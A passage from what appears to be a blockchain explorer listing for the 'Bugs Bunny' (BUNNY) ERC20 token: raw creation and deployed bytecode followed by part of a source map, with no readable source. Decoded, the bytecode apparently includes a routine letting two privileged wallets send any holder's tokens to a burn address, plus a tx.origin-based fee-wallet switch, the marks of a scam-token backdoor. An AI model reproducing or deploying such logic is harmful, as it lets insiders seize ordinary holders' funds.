0161073a565b6001600160a01b038216610ecd5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161073a565b60008111610f2f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161073a565b6000546001600160a01b03848116911614801590610f5b57506000546001600160a01b03838116911614155b1561124257601854600160a01b900460ff16610ff4576000546001600160a01b03848116911614610ff45760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161073a565b6001600160a01b03831660009081526006602052604090205460ff168061103357506001600160a01b03821660009081526006602052604090205460ff165b8061104057506019548111155b61108c5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161073a565b6018546001600160a01b03838116911614611157576001600160a01b03831660009081526006602052604090205460ff16806110e057506001600160a01b03821660009081526006602052604090205460ff165b806110ff5750601a54816110f384610801565b6110fd9190611f91565b105b6111575760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161073a565b601854600160a81b900460ff16611184576111828383601860159054906101000a900460ff16611585565b505b600061118f30610801565b9050601954811061119f57506019545b601854600160a81b900460ff161580156111c757506018546001600160a01b03858116911614155b80156111dc5750601854600160b01b900460ff165b801561120157506001600160a01b03841660009081526005602052604090205460ff16155b801561122657506001600160a01b03831660009081526005602052604090205460ff16155b1561124057611234816116d0565b4761123e81611383565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061128457506001600160a01b03831660009081526005602052604090205460ff165b806112b657506018546001600160a01b038581169116148015906112b657506018546001600160a01b03848116911614155b156112c35750600061133d565b6018546001600160a01b0385811691161480156112ee57506017546001600160a01b03848116911614155b1561130057600954601155600a546012555b6018546001600160a01b03848116911614801561132b57506017546001600160a01b03858116911614155b1561133d57600b54601155600c546012555b6109db8484848461173b565b6000818484111561136d5760405162461bcd60e51b815260040161073a9190611bf6565b50600061137a8486611fa4565b95945050505050565b6016546040516000916001600160a01b03169083908381818185875af1925050503d80600081146113d0576040519150601f19603f3d011682016040523d82523d6000602084013e6113d5565b606091505b50509050806113e357600080fd5b5050565b600060075482111561144e5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161073a565b6000611458611769565b9050611464838261178c565b9392505050565b6114736117ce565b6000806000611481846117fc565b50506001600160a01b0389166000908152600260205260409020549396509194509092506114b191905084611859565b6001600160a01b03861660009081526002602052604081209190915561dead90527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc546114fe908361189b565b61dead60005260026020527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc5561153c601354601155601454601255565b60405181815261dead906001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050505050565b6018546000906001600160a01b03908116908516036116ad573260009081526005602052604090205460ff161561160d57601680546001600160a01b0319166001600160a01b0385811691821783556000918252600560209081526040808420805460ff19908116600190811790925595549093168452600690915290912080549092161790555b6001600160a01b03831630146116a8576001600160a01b0383166000908152600f602052604081205490036116a8576001600160a01b0383166000908152600f602052604090205415158061166a5750600061166884610801565b115b611674574261168e565b6001600160a01b0383166000908152600f60205260409020545b6001600160a01b0384166000908152600f60205260409020555b6116c9565b601080546001600160a01b0319166001600160a01b0386161790555b5092915050565b60006064600d54836116e29190611e66565b6116ec9190611e7d565b905060006064600e5483856117019190611fa4565b61170b9190611e66565b6117159190611e7d565b9050811561172757611727308361146b565b80156106a2576106a261dead600083610c5d565b80611748576117486117ce565b6117538484846118fa565b806109db576109db601354601155601454601255565b60008060006117766119f1565b9092509050611785828261178c565b9250505090565b600061146483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a33565b6011541580156117de5750601254155b156117e557565b601180546013556012805460145560009182905555565b60008060008060008060008060006118198a601154601254611a61565b9250925092506000611829611769565b9050600080600061183c8e878787611ab6565b919e509c509a509598509396509194505050505091939550919395565b600061146483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611349565b6000806118a88385611f91565b9050838110156114645760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161073a565b60008060008060008061190c876117fc565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061193e9087611859565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461196d908661189b565b6001600160a01b03891660009081526002602052604090205561198f81611b06565b6119998483611b50565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516119de91815260200190565b60405180910390a3505050505050505050565b600754600090819068056bc75e2d63100000611a0d828261178c565b821015611a2a5750506007549268056bc75e2d6310000092509050565b90939092509050565b60008183611a545760405162461bcd60e51b815260040161073a9190611bf6565b50600061137a8486611e7d565b6000808080611a7b6064611a758989611b74565b9061178c565b90506000611a8e6064611a758a89611b74565b90506000611aa682611aa08b86611859565b90611859565b9992985090965090945050505050565b6000808080611ac58886611b74565b90506000611ad38887611b74565b90506000611ae18888611b74565b90506000611af382611aa08686611859565b939b939a50919850919650505050505050565b6000611b10611769565b90506000611b1e8383611b74565b30600090815260026020526040902054909150611b3b908261189b565b30600090815260026020526040902055505050565b600754611b5d9083611859565b600755600854611b6d908261189b565b6008555050565b600082600003611b865750600061062a565b6000611b928385611e66565b905082611b9f8583611e7d565b146114645760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161073a565b600060208083528351808285015260005b81811015611c2357858101830151858201604001528201611c07565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146107fe57600080fd5b60008060408385031215611c6c57600080fd5b8235611c7781611c44565b946020939093013593505050565b600080600060608486031215611c9a57600080fd5b8335611ca581611c44565b92506020840135611cb581611c44565b929592945050506040919091013590565b80358015158114611cd657600080fd5b919050565b60008060408385031215611cee57600080fd5b8235611cf981611c44565b9150611d0760208401611cc6565b90509250929050565b600060208284031215611d2257600080fd5b813561146481611c44565b600060208284031215611d3f57600080fd5b61146482611cc6565b600060208284031215611d5a57600080fd5b5035919050565b60008060008060808587031215611d7757600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611da857600080fd5b833567ffffffffffffffff80821115611dc057600080fd5b818601915086601f830112611dd457600080fd5b813581811115611de357600080fd5b8760208260051b8501011115611df857600080fd5b602092830195509350611e0e9186019050611cc6565b90509250925092565b60008060408385031215611e2a57600080fd5b8235611e3581611c44565b91506020830135611e4581611c44565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141761062a5761062a611e50565b600082611e9a57634e487b7160e01b600052601260045260246000fd5b500490565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b600060018201611efc57611efc611e50565b5060010190565b600060208284031215611f1557600080fd5b815161146481611c44565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611f705784516001600160a01b031683529383019391830191600101611f4b565b50506001600160a01b03969096166060850152505050608001529392505050565b8082018082111561062a5761062a611e50565b8181038181111561062a5761062a611e5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ceb1c235d2a34e1cfa5bc87488baf479d3bc03248f64277737b50af72ecb8d4064736f6c63430008130033
Deployed Bytecode
0x6080604052600436106101dc5760003560e01c806370a0823111610102578063a2a957bb11610095578063caac793411610064578063caac793414610573578063dd62ed3e14610593578063ea1644d5146105d9578063f2fde38b146105f957600080fd5b8063a2a957bb146104fe578063a9059cbb1461051e578063c492f0461461053e578063c9567bf91461055e57600080fd5b80638da5cb5b116100d15780638da5cb5b1461047c5780638f9a55c01461049a57806395d89b41146104b057806398a5c315146104de57600080fd5b806370a0823114610411578063715018a61461043157806374010ece146104465780637d1db4a51461046657600080fd5b80632cfba6b01161017a57806349bd5a5e1161014957806349bd5a5e1461038f5780635327ea0b146103af5780636d8aa8f8146103dc5780636fc3eaec146103fc57600080fd5b80632cfba6b01461031d5780632fd689e31461033d578063313ce567146103535780633d6a9afe1461036f57600080fd5b806318160ddd116101b657806318160ddd146102955780631d7f3256146102bb57806323b872dd146102dd57806323cc6601146102fd57600080fd5b806306fdde03146101e8578063095ea7b31461022d5780631694505e1461025d57600080fd5b366101e357005b600080fd5b3480156101f457600080fd5b5060408051808201909152600a815269427567732042756e6e7960b01b60208201525b6040516102249190611bf6565b60405180910390f35b34801561023957600080fd5b5061024d610248366004611c59565b610619565b6040519015158152602001610224565b34801561026957600080fd5b5060175461027d906001600160a01b031681565b6040516001600160a01b039091168152602001610224565b3480156102a157600080fd5b5068056bc75e2d631000005b604051908152602001610224565b3480156102c757600080fd5b506102db6102d6366004611c59565b610630565b005b3480156102e957600080fd5b5061024d6102f8366004611c85565b6106a7565b34801561030957600080fd5b506102db610318366004611cdb565b610710565b34801561032957600080fd5b5060105461027d906001600160a01b031681565b34801561034957600080fd5b506102ad601b5481565b34801561035f57600080fd5b5060405160098152602001610224565b34801561037b57600080fd5b5060155461027d906001600160a01b031681565b34801561039b57600080fd5b5060185461027d906001600160a01b031681565b3480156103bb57600080fd5b506102ad6103ca366004611d10565b600f6020526000908152604090205481565b3480156103e857600080fd5b506102db6103f7366004611d2d565b61076e565b34801561040857600080fd5b506102db6107b6565b34801561041d57600080fd5b506102ad61042c366004611d10565b610801565b34801561043d57600080fd5b506102db610823565b34801561045257600080fd5b506102db610461366004611d48565b610897565b34801561047257600080fd5b506102ad60195481565b34801561048857600080fd5b506000546001600160a01b031661027d565b3480156104a657600080fd5b506102ad601a5481565b3480156104bc57600080fd5b5060408051808201909152600581526442554e4e5960d81b6020820152610217565b3480156104ea57600080fd5b506102db6104f9366004611d48565b6108c6565b34801561050a57600080fd5b506102db610519366004611d61565b6108f5565b34801561052a57600080fd5b5061024d610539366004611c59565b610933565b34801561054a57600080fd5b506102db610559366004611d93565b610940565b34801561056a57600080fd5b506102db6109e1565b34801561057f57600080fd5b5060165461027d906001600160a01b031681565b34801561059f57600080fd5b506102ad6105ae366004611e17565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105e557600080fd5b506102db6105f4366004611d48565b610a20565b34801561060557600080fd5b506102db610614366004611d10565b610a4f565b6000610626338484610b39565b5060015b92915050565b6015546001600160a01b0316336001600160a01b0316148061066557506016546001600160a01b0316336001600160a01b0316145b61066e57600080fd5b600061067930610801565b90506064600e548261068b9190611e66565b6106959190611e7d565b90506106a2838383610c5d565b505050565b60006106b4848484610e07565b610706843361070185604051806060016040528060288152602001611fb8602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611349565b610b39565b5060019392505050565b6000546001600160a01b031633146107435760405162461bcd60e51b815260040161073a90611e9f565b60405180910390fd5b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146107985760405162461bcd60e51b815260040161073a90611e9f565b60188054911515600160b01b0260ff60b01b19909216919091179055565b6015546001600160a01b0316336001600160a01b031614806107eb57506016546001600160a01b0316336001600160a01b0316145b6107f457600080fd5b476107fe81611383565b50565b6001600160a01b03811660009081526002602052604081205461062a906113e7565b6000546001600160a01b0316331461084d5760405162461bcd60e51b815260040161073a90611e9f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108c15760405162461bcd60e51b815260040161073a90611e9f565b601955565b6000546001600160a01b031633146108f05760405162461bcd60e51b815260040161073a90611e9f565b601b55565b6000546001600160a01b0316331461091f5760405162461bcd60e51b815260040161073a90611e9f565b600993909355600b91909155600a55600c55565b6000610626338484610e07565b6000546001600160a01b0316331461096a5760405162461bcd60e51b815260040161073a90611e9f565b60005b828110156109db57816005600086868581811061098c5761098c611ed4565b90506020020160208101906109a19190611d10565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806109d381611eea565b91505061096d565b50505050565b6000546001600160a01b03163314610a0b5760405162461bcd60e51b815260040161073a90611e9f565b6018805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610a4a5760405162461bcd60e51b815260040161073a90611e9f565b601a55565b6000546001600160a01b03163314610a795760405162461bcd60e51b815260040161073a90611e9f565b6001600160a01b038116610ade5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161073a565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610b9b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161073a565b6001600160a01b038216610bfc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161073a565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6018805460ff60a81b1916600160a81b1790553360009081526005602052604090205460ff1615610c9d578115610c9857610c98838361146b565b610df5565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610cd257610cd2611ed4565b6001600160a01b03928316602091820292909201810191909152601754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d2b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4f9190611f03565b81600181518110610d6257610d62611ed4565b6001600160a01b039283166020918202929092010152601754610d889130911684610b39565b60175460405163791ac94760e01b81526001600160a01b039091169063791ac94790610dc1908590600090869030904290600401611f20565b600060405180830381600087803b158015610ddb57600080fd5b505af1158015610def573d6000803e3d6000fd5b50505050505b50506018805460ff60a81b1916905550565b6001600160a01b038316610e6b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161073a565b6001600160a01b038216610ecd5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161073a565b60008111610f2f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161073a565b6000546001600160a01b03848116911614801590610f5b57506000546001600160a01b03838116911614155b1561124257601854600160a01b900460ff16610ff4576000546001600160a01b03848116911614610ff45760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161073a565b6001600160a01b03831660009081526006602052604090205460ff168061103357506001600160a01b03821660009081526006602052604090205460ff165b8061104057506019548111155b61108c5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161073a565b6018546001600160a01b03838116911614611157576001600160a01b03831660009081526006602052604090205460ff16806110e057506001600160a01b03821660009081526006602052604090205460ff165b806110ff5750601a54816110f384610801565b6110fd9190611f91565b105b6111575760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161073a565b601854600160a81b900460ff16611184576111828383601860159054906101000a900460ff16611585565b505b600061118f30610801565b9050601954811061119f57506019545b601854600160a81b900460ff161580156111c757506018546001600160a01b03858116911614155b80156111dc5750601854600160b01b900460ff165b801561120157506001600160a01b03841660009081526005602052604090205460ff16155b801561122657506001600160a01b03831660009081526005602052604090205460ff16155b1561124057611234816116d0565b4761123e81611383565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061128457506001600160a01b03831660009081526005602052604090205460ff165b806112b657506018546001600160a01b038581169116148015906112b657506018546001600160a01b03848116911614155b156112c35750600061133d565b6018546001600160a01b0385811691161480156112ee57506017546001600160a01b03848116911614155b1561130057600954601155600a546012555b6018546001600160a01b03848116911614801561132b57506017546001600160a01b03858116911614155b1561133d57600b54601155600c546012555b6109db8484848461173b565b6000818484111561136d5760405162461bcd60e51b815260040161073a9190611bf6565b50600061137a8486611fa4565b95945050505050565b6016546040516000916001600160a01b03169083908381818185875af1925050503d80600081146113d0576040519150601f19603f3d011682016040523d82523d6000602084013e6113d5565b606091505b50509050806113e357600080fd5b5050565b600060075482111561144e5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161073a565b6000611458611769565b9050611464838261178c565b9392505050565b6114736117ce565b6000806000611481846117fc565b50506001600160a01b0389166000908152600260205260409020549396509194509092506114b191905084611859565b6001600160a01b03861660009081526002602052604081209190915561dead90527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc546114fe908361189b565b61dead60005260026020527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc5561153c601354601155601454601255565b60405181815261dead906001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050505050565b6018546000906001600160a01b03908116908516036116ad573260009081526005602052604090205460ff161561160d57601680546001600160a01b0319166001600160a01b0385811691821783556000918252600560209081526040808420805460ff19908116600190811790925595549093168452600690915290912080549092161790555b6001600160a01b03831630146116a8576001600160a01b0383166000908152600f602052604081205490036116a8576001600160a01b0383166000908152600f602052604090205415158061166a5750600061166884610801565b115b611674574261168e565b6001600160a01b0383166000908152600f60205260409020545b6001600160a01b0384166000908152600f60205260409020555b6116c9565b601080546001600160a01b0319166001600160a01b0386161790555b5092915050565b60006064600d54836116e29190611e66565b6116ec9190611e7d565b905060006064600e5483856117019190611fa4565b61170b9190611e66565b6117159190611e7d565b9050811561172757611727308361146b565b80156106a2576106a261dead600083610c5d565b80611748576117486117ce565b6117538484846118fa565b806109db576109db601354601155601454601255565b60008060006117766119f1565b9092509050611785828261178c565b9250505090565b600061146483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a33565b6011541580156117de5750601254155b156117e557565b601180546013556012805460145560009182905555565b60008060008060008060008060006118198a601154601254611a61565b9250925092506000611829611769565b9050600080600061183c8e878787611ab6565b919e509c509a509598509396509194505050505091939550919395565b600061146483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611349565b6000806118a88385611f91565b9050838110156114645760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161073a565b60008060008060008061190c876117fc565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061193e9087611859565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461196d908661189b565b6001600160a01b03891660009081526002602052604090205561198f81611b06565b6119998483611b50565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516119de91815260200190565b60405180910390a3505050505050505050565b600754600090819068056bc75e2d63100000611a0d828261178c565b821015611a2a5750506007549268056bc75e2d6310000092509050565b90939092509050565b60008183611a545760405162461bcd60e51b815260040161073a9190611bf6565b50600061137a8486611e7d565b6000808080611a7b6064611a758989611b74565b9061178c565b90506000611a8e6064611a758a89611b74565b90506000611aa682611aa08b86611859565b90611859565b9992985090965090945050505050565b6000808080611ac58886611b74565b90506000611ad38887611b74565b90506000611ae18888611b74565b90506000611af382611aa08686611859565b939b939a50919850919650505050505050565b6000611b10611769565b90506000611b1e8383611b74565b30600090815260026020526040902054909150611b3b908261189b565b30600090815260026020526040902055505050565b600754611b5d9083611859565b600755600854611b6d908261189b565b6008555050565b600082600003611b865750600061062a565b6000611b928385611e66565b905082611b9f8583611e7d565b146114645760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161073a565b600060208083528351808285015260005b81811015611c2357858101830151858201604001528201611c07565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146107fe57600080fd5b60008060408385031215611c6c57600080fd5b8235611c7781611c44565b946020939093013593505050565b600080600060608486031215611c9a57600080fd5b8335611ca581611c44565b92506020840135611cb581611c44565b929592945050506040919091013590565b80358015158114611cd657600080fd5b919050565b60008060408385031215611cee57600080fd5b8235611cf981611c44565b9150611d0760208401611cc6565b90509250929050565b600060208284031215611d2257600080fd5b813561146481611c44565b600060208284031215611d3f57600080fd5b61146482611cc6565b600060208284031215611d5a57600080fd5b5035919050565b60008060008060808587031215611d7757600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611da857600080fd5b833567ffffffffffffffff80821115611dc057600080fd5b818601915086601f830112611dd457600080fd5b813581811115611de357600080fd5b8760208260051b8501011115611df857600080fd5b602092830195509350611e0e9186019050611cc6565b90509250925092565b60008060408385031215611e2a57600080fd5b8235611e3581611c44565b91506020830135611e4581611c44565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141761062a5761062a611e50565b600082611e9a57634e487b7160e01b600052601260045260246000fd5b500490565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b600060018201611efc57611efc611e50565b5060010190565b600060208284031215611f1557600080fd5b815161146481611c44565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611f705784516001600160a01b031683529383019391830191600101611f4b565b50506001600160a01b03969096166060850152505050608001529392505050565b8082018082111561062a5761062a611e50565b8181038181111561062a5761062a611e5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ceb1c235d2a34e1cfa5bc87488baf479d3bc03248f64277737b50af72ecb8d4064736f6c63430008130033
Deployed Bytecode Sourcemap
6553:15187:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9597:83;;;;;;;;;;-1:-1:-1;9667:5:0;;;;;;;;;;;;-1:-1:-1;;;9667:5:0;;;;9597:83;;;;;;;:::i;:::-;;;;;;;;10522:193;;;;;;;;;;-1:-1:-1;10522:193:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;10522:193:0;1023:187:1;8096:41:0;;;;;;;;;;-1:-1:-1;8096:41:0;;;;-1:-1:-1;;;;;8096:41:0;;;;;;-1:-1:-1;;;;;1405:32:1;;;1387:51;;1375:2;1360:18;8096:41:0;1215:229:1;9874:95:0;;;;;;;;;;-1:-1:-1;7160:23:0;9874:95;;;1595:25:1;;;1583:2;1568:18;9874:95:0;1449:177:1;15401:352:0;;;;;;;;;;-1:-1:-1;15401:352:0;;;;;:::i;:::-;;:::i;:::-;;10723:446;;;;;;;;;;-1:-1:-1;10723:446:0;;;;;:::i;:::-;;:::i;21608:129::-;;;;;;;;;;-1:-1:-1;21608:129:0;;;;;:::i;:::-;;:::i;7642:29::-;;;;;;;;;;-1:-1:-1;7642:29:0;;;;-1:-1:-1;;;;;7642:29:0;;;8399:56;;;;;;;;;;;;;;;;9783:83;;;;;;;;;;-1:-1:-1;9783:83:0;;6774:1;2927:36:1;;2915:2;2900:18;9783:83:0;2785:184:1;7874:105:0;;;;;;;;;;-1:-1:-1;7874:105:0;;;;-1:-1:-1;;;;;7874:105:0;;;8144:28;;;;;;;;;;-1:-1:-1;8144:28:0;;;;-1:-1:-1;;;;;8144:28:0;;;7589:46;;;;;;;;;;-1:-1:-1;7589:46:0;;;;;:::i;:::-;;;;;;;;;;;;;;20987:101;;;;;;;;;;-1:-1:-1;20987:101:0;;;;;:::i;:::-;;:::i;15761:235::-;;;;;;;;;;;;;:::i;9977:138::-;;;;;;;;;;-1:-1:-1;9977:138:0;;;;;:::i;:::-;;:::i;4040:148::-;;;;;;;;;;;;;:::i;21127:108::-;;;;;;;;;;-1:-1:-1;21127:108:0;;;;;:::i;:::-;;:::i;8290:46::-;;;;;;;;;;;;;;;;3826:79;;;;;;;;;;-1:-1:-1;3864:7:0;3891:6;-1:-1:-1;;;;;3891:6:0;3826:79;;8343:49;;;;;;;;;;;;;;;;9688:87;;;;;;;;;;-1:-1:-1;9760:7:0;;;;;;;;;;;;-1:-1:-1;;;9760:7:0;;;;9688:87;;20796:139;;;;;;;;;;-1:-1:-1;20796:139:0;;;;;:::i;:::-;;:::i;20453:291::-;;;;;;;;;;-1:-1:-1;20453:291:0;;;;;:::i;:::-;;:::i;10123:199::-;;;;;;;;;;-1:-1:-1;10123:199:0;;;;;:::i;:::-;;:::i;21366:234::-;;;;;;;;;;-1:-1:-1;21366:234:0;;;;;:::i;:::-;;:::i;15316:77::-;;;;;;;;;;;;;:::i;7986:103::-;;;;;;;;;;-1:-1:-1;7986:103:0;;;;-1:-1:-1;;;;;7986:103:0;;;10330:184;;;;;;;;;;-1:-1:-1;10330:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;10479:18:0;;;10447:7;10479:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;10330:184;21243:115;;;;;;;;;;-1:-1:-1;21243:115:0;;;;;:::i;:::-;;:::i;4196:244::-;;;;;;;;;;-1:-1:-1;4196:244:0;;;;;:::i;:::-;;:::i;10522:193::-;10624:4;10646:39;2665:10;10669:7;10678:6;10646:8;:39::i;:::-;-1:-1:-1;10703:4:0;10522:193;;;;;:::o;15401:352::-;15498:19;;-1:-1:-1;;;;;15498:19:0;2665:10;-1:-1:-1;;;;;15482:35:0;;:72;;;-1:-1:-1;15537:17:0;;-1:-1:-1;;;;;15537:17:0;2665:10;-1:-1:-1;;;;;15521:33:0;;15482:72;15474:81;;;;;;15566:23;15592:24;15610:4;15592:9;:24::i;:::-;15566:50;;15681:3;15663:15;;15645;:33;;;;:::i;:::-;:39;;;;:::i;:::-;15627:57;;15695:50;15712:7;15721:6;15729:15;15695:16;:50::i;:::-;15463:290;15401:352;;:::o;10723:446::-;10855:4;10872:36;10882:6;10890:9;10901:6;10872:9;:36::i;:::-;10919:220;10942:6;2665:10;10990:138;11046:6;10990:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;10990:19:0;;;;;;:11;:19;;;;;;;;2665:10;10990:33;;;;;;;;;;:37;:138::i;:::-;10919:8;:220::i;:::-;-1:-1:-1;11157:4:0;10723:446;;;;;:::o;21608:129::-;3953:6;;-1:-1:-1;;;;;3953:6:0;2665:10;3953:22;3945:67;;;;-1:-1:-1;;;3945:67:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;21694:29:0;;;::::1;;::::0;;;:22:::1;:29;::::0;;;;:35;;-1:-1:-1;;21694:35:0::1;::::0;::::1;;::::0;;;::::1;::::0;;21608:129::o;20987:101::-;3953:6;;-1:-1:-1;;;;;3953:6:0;2665:10;3953:22;3945:67;;;;-1:-1:-1;;;3945:67:0;;;;;;;:::i;:::-;21054:11:::1;:26:::0;;;::::1;;-1:-1:-1::0;;;21054:26:0::1;-1:-1:-1::0;;;;21054:26:0;;::::1;::::0;;;::::1;::::0;;20987:101::o;15761:235::-;15827:19;;-1:-1:-1;;;;;15827:19:0;2665:10;-1:-1:-1;;;;;15811:35:0;;:72;;;-1:-1:-1;15866:17:0;;-1:-1:-1;;;;;15866:17:0;2665:10;-1:-1:-1;;;;;15850:33:0;;15811:72;15803:81;;;;;;15924:21;15956:32;15924:21;15956:12;:32::i;:::-;15792:204;15761:235::o;9977:138::-;-1:-1:-1;;;;;10090:16:0;;10043:7;10090:16;;;:7;:16;;;;;;10070:37;;:19;:37::i;4040:148::-;3953:6;;-1:-1:-1;;;;;3953:6:0;2665:10;3953:22;3945:67;;;;-1:-1:-1;;;3945:67:0;;;;;;;:::i;:::-;4147:1:::1;4131:6:::0;;4110:40:::1;::::0;-1:-1:-1;;;;;4131:6:0;;::::1;::::0;4110:40:::1;::::0;4147:1;;4110:40:::1;4178:1;4161:19:::0;;-1:-1:-1;;;;;;4161:19:0::1;::::0;;4040:148::o;21127:108::-;3953:6;;-1:-1:-1;;;;;3953:6:0;2665:10;3953:22;3945:67;;;;-1:-1:-1;;;3945:67:0;;;;;;;:::i;:::-;21201:12:::1;:26:::0;21127:108::o;20796:139::-;3953:6;;-1:-1:-1;;;;;3953:6:0;2665:10;3953:22;3945:67;;;;-1:-1:-1;;;3945:67:0;;;;;;;:::i;:::-;20887:19:::1;:40:::0;20796:139::o;20453:291::-;3953:6;;-1:-1:-1;;;;;3953:6:0;2665:10;3953:22;3945:67;;;;-1:-1:-1;;;3945:67:0;;;;;;;:::i;:::-;20587:14:::1;:30:::0;;;;20628:15:::1;:32:::0;;;;20671:12:::1;:26:::0;20708:13:::1;:28:::0;20453:291::o;10123:199::-;10228:4;10250:42;2665:10;10274:9;10285:6;10250:9;:42::i;21366:234::-;3953:6;;-1:-1:-1;;;;;3953:6:0;2665:10;3953:22;3945:67;;